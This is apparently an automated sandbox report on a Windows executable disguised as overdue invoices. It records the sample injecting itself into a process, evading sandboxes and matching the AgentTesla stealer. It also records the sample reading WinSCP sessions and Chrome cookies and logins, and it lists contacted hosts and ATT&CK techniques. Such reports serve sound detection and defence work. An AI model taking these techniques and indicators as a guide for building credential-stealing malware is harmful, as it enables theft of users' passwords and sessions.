Classification label: mal100.troj.spyw.evad.winEXE@3/6@4/4

Source: C:\Users\user\Desktop\Overdue_invoices.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Overdue_invoices.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Mutant created: \Sessions\1\BaseNamedObjects\KKCDH7XDFH0WWL2TU813

Source: C:\Users\user\Desktop\Overdue_invoices.exe

File created: C:\Users\user\AppData\Local\Temp\TMP_pass

Jump to behavior

Source: Overdue_invoices.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Overdue_invoices.exe

ReversingLabs: Detection: 17%

Source: unknown	Process created: C:\Users\user\Desktop\Overdue_invoices.exe 'C:\Users\user\Desktop\Overdue_invoices.exe'
Source: unknown	Process created: C:\Users\user\Desktop\Overdue_invoices.exe C:\Users\user\Desktop\Overdue_invoices.exe
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process created: C:\Users\user\Desktop\Overdue_invoices.exe C:\Users\user\Desktop\Overdue_invoices.exe	Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Overdue_invoices.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Overdue_invoices.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Core.cs

.Net Code: OnResolveAssembly System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 0_2_004032DC push 280A0000h; ret		0_2_004032E1
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 1_2_00DB32DC push 280A0000h; ret		1_2_00DB32E1

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Window / User API: threadDelayed 1508

Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 2140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 3492	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe TID: 6200	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: Overdue_invoices.exe, 00000001.00000002.629727948.00000000056A0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Overdue_invoices.exe, 00000001.00000002.625516000.0000000001562000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{
Source: Overdue_invoices.exe, 00000001.00000002.629727948.00000000056A0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: Overdue_invoices.exe, 00000001.00000002.629727948.00000000056A0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Overdue_invoices.exe, 00000000.00000002.230153111.0000000000B83000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Overdue_invoices.exe, 00000001.00000002.629727948.00000000056A0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Anti Debugging:

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Memory written: C:\Users\user\Desktop\Overdue_invoices.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Process created: C:\Users\user\Desktop\Overdue_invoices.exe C:\Users\user\Desktop\Overdue_invoices.exe

Jump to behavior

Source: Overdue_invoices.exe, 00000001.00000002.625796287.0000000001AD0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: Overdue_invoices.exe, 00000001.00000002.625796287.0000000001AD0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: Overdue_invoices.exe, 00000001.00000002.625796287.0000000001AD0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: Overdue_invoices.exe, 00000001.00000002.625796287.0000000001AD0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Users\user\Desktop\Overdue_invoices.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Users\user\Desktop\Overdue_invoices.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match

File source: Process Memory Space: Overdue_invoices.exe PID: 6020, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Overdue_invoices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web data	Jump to behavior
Source: C:\Users\user\Desktop\Overdue_invoices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match

File source: Process Memory Space: Overdue_invoices.exe PID: 6020, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation11	Path Interception	Process Injection112	Masquerading1	OS Credential Dumping1	Security Software Discovery11	Remote Services	Input Capture21	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion3	Input Capture21	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Credentials in Registry1	Process Discovery11	SMB/Windows Admin Shares	Data from Local System1	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information11	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing1	Cached Domain Credentials	System Network Configuration Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery23	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Overdue_invoices.exe	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.Overdue_invoices.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1106066		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://icanhazip.com4	0%	Avira URL Cloud	safe
https://cdn.ecosia	0%	Avira URL Cloud	safe
https://raw.githubusercontenPf~	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/pandalog/nothing/master/john.txt)CqbkTHriRRbQjaArtJfFMC#	0%	Avira URL Cloud	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
https://raw.githubusercontenP	0%	Avira URL Cloud	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://raw.githubusercontent.com/pandalog/nothing/master/john.txt	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com	0%	Avira URL Cloud	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
https://wa.239.147.103/base/D87080E8818FCC40A45F948026A84297.html	0%	Avira URL Cloud	safe
http://193.239.147.103/base/D87080E8818FCC40A45F948026A84297.html	0%	Avira URL Cloud	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://193.239.147.103	0%	Avira URL Cloud	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
github.map.fastly.net	151.101.0.133	true	false	unknown
smtp.gmail.com	108.177.119.109	true	false	high
icanhazip.com	147.75.47.199	true	false	high
raw.githubusercontent.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://icanhazip.com/	false		high
http://193.239.147.103/base/D87080E8818FCC40A45F948026A84297.html	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high
http://icanhazip.com4	Overdue_invoices.exe, 00000001.00000002.625972987.00000000030AF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://bit.ly/icanhazip-faq	Overdue_invoices.exe, 00000001.00000002.626165081.0000000003116000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.625972987.00000000030AF000.00000004.00000001.sdmp	false		high
https://cdn.ecosia	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high
https://raw.githubusercontenPf~	Overdue_invoices.exe, 00000001.00000002.626846042.000000000328B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://raw.githubusercontent.com/pandalog/nothing/master/john.txt)CqbkTHriRRbQjaArtJfFMC#	Overdue_invoices.exe, 00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://pki.goog/gsr2/GTS1O1.crt0	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://raw.githubusercontenP	Overdue_invoices.exe, 00000001.00000002.626078559.00000000030F0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high
https://duckduckgo.com/chrom	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false		high
http://ns.adobe.c/g	Overdue_invoices.exe, 00000001.00000002.625776172.00000000018C6000.00000004.00000040.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
